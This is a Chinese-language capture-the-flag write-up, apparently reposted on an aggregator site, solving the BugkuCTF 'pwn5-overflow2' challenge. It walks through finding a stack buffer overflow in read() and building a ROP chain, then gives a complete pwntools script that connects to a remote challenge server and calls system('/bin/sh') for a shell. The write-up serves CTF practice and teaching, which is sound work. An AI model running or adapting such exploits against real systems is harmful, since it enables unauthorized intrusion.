BugkuCTF-PWN题pwn5-overflow2超详细讲解
生活随笔
收集整理的這篇文章主要介紹了
BugkuCTF-PWN题pwn5-overflow2超详细讲解
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
知識點
setvbuf:
setvbuf函數的功能:
如果你的內存足夠大,可以把文件IO的BUF設置大一些,這樣每次你用
fopen/fread/fwrite/fscanf/fprintf語句的時候,都會在內存里操作,減少內存到磁盤IO讀寫的操作次數,提高系統效率。
如果你的程序的功能涉及到類似數據庫、視頻、音頻、圖像處理等大量需要爆發式磁盤到內存的IO情況下,可以考慮setvbuf進行優化內存IO。
功 能: 把緩區與流相關
解題流程
查看保護機制
發現開啟了RELRO,NX
只能通過ROP繞過
IDA打開,查看偽碼:
0x20=32
0x100=256
read()函數存在棧溢出,查看棧結構
構造rop鏈
system函數的地址是0x401050
exp
from pwn import * #sh = process('./pwn') sh = remote('114.67.246.176',12246)sh.recvuntil('Please Input your name')pop_rdi_ret = 0x40126b system_addr = 0x401050 binsh_addr = 0x402004payload = b'a' * 32 + p64(1) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) sh.send(payload) sh.interactive()總結
以上是生活随笔為你收集整理的BugkuCTF-PWN题pwn5-overflow2超详细讲解的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: jq之slideToggle
- 下一篇: BugkuCTF-MISC题红绿灯